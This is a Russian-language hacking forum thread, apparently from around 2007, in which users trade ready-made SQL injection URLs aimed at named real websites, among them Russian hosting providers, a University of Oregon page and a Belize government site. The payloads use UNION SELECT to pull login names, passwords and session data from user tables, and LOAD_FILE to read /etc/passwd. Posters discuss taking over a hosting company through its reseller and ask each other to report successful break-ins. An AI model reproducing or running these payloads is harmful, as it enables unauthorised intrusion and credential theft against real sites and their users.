ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://www.expressglobal.ru/directions/china/tours/?id=-1+union+select+null/*
Вот одна, правда толку от неё...

http://pride.uoregon.edu/section.php?id=-1+union+select+1,2,3,4,5,6/*
одна была

Лень самому возиться с взломом... Сам нашел все...

http://hoster.od.ua/hosting/hosting_faq.php?news_id=1+union+select+1,user()/*
http://www.all4hosting.ru/index.asp?idSort=3&idPage=1+union+select+1,2,3--
http://www.ht-systems.ru/events/news.php?ID=4+union+select+1,2,3,4,LOAD_FILE('/etc/passwd'),6/*
http://aho.ru/hosting/tarifs.php?tgroup=2+union+select+1,2,3/*
http://uptime.ru/content.php?what=preleases&id=-1+union+select+1,login,password,4,5,6,7+from+users +limit+1,3/*
http://ivanhost.ru/?p=18&a=-3+union+select+USER(),DATABASE()/*
http://order.besthost.ru/order/index.php?hmid=-1+union+select+1,2,3,4,5,6,7,LOAD_FILE('/etc/passwd'),9,10,11,12,13,14,15,16,17,18,19,20,21,22, 23,24,25,26/*

Все - хостинги, из двух последних - один из них - реселлер valuehost'а, а второй прямо в той же базе, что и valuehost, так что не мудрено взломать и сам valuehost.ru

http://fotokatalog.ru/index.php?pp=25+union+select+1/*&from=50

Incorrect usage of UNION and ORDER BY
ЧТо это?
P.S. 2 Macros http://hoster.od.ua/hosting/hosting_faq.php?news_id=1+union+select+concat(id,c har(58),user,char(58),pass,char(58,32,32,32),right s,char(58),rname,char(58),mail,char(58),char(58),e ditor)%20,concat(char(83,101,115,115,105,111,110,5 8,32),sess)+from+login/*
Супер, а у меня вчера ничего не получилось...

Там данные из переменной pp подставляются в order by, а данные из переменной from - в limit. Так что ни хрена не получится. Он всегда тебе будет выдавать ошибку, видимо там

Если кто-нибудь что-нибудь из этого взломает - отпишитесь пожалуйста, хоть в личку

Всех с 2007-мым годом и Скуль на allpeople.ru

http://www.allpeople.ru/chital.php?read=-2+union+select+1,2,3,4,concat(login,char(3),pas),D ATABASE(),7,8,9,10+from+people+where+id=[Нужный вам id]/*

http://hoster.od.ua
http://uptime.ru
http://www.ht-systems.ru
- баян =\
Давно хекал =\
"Если кто-нибудь что-нибудь из этого взломает - отпишитесь пожалуйста, хоть в личку " - для чего?

http://www.belize.gov.bz/doc_center_directory_listings.php?folder_id=-99+union+select+1,2,concat(username,0x3a,password) ,4+from+users+limit+0,1/*